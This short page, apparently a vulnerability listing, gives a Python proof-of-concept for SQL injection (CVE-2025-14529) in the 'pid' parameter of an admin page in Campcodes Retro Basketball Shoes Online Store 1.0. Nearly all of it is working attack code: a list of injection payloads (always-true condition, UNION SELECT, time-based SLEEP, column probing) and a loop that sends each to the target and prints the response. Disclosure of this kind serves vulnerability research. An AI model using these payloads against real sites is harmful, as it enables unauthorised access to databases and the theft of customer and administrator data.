CVE-2025-14529 Campcodes Retro Basketball Shoes Online Store 1.0 SQL注入漏洞

# CVE-2025-14529 SQL Injection PoC # Target: Campcodes Retro Basketball Shoes Online Store 1.0 # Endpoint: /admin/admin_running.php?pid=<inject> import requests import sys target = "http://target.com/admin/admin_running.php" # Basic SQL Injection test payloads payloads = [ "1' OR '1'='1", "1' UNION SELECT 1,2,3,4,5-- -", "1' AND SLEEP(5)-- -", "1' ORDER BY 10-- -" ] def test_sqli(payload): params = {"pid": payload} try: response = requests.get(target, params=params, timeout=10) print(f"[*] Testing payload: {payload}") print(f"[*] Status: {response.status_code}") print(f"[*] Response length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": print("CVE-2025-14529 SQL Injection PoC") print("=" * 50) for payload in payloads: test_sqli(payload)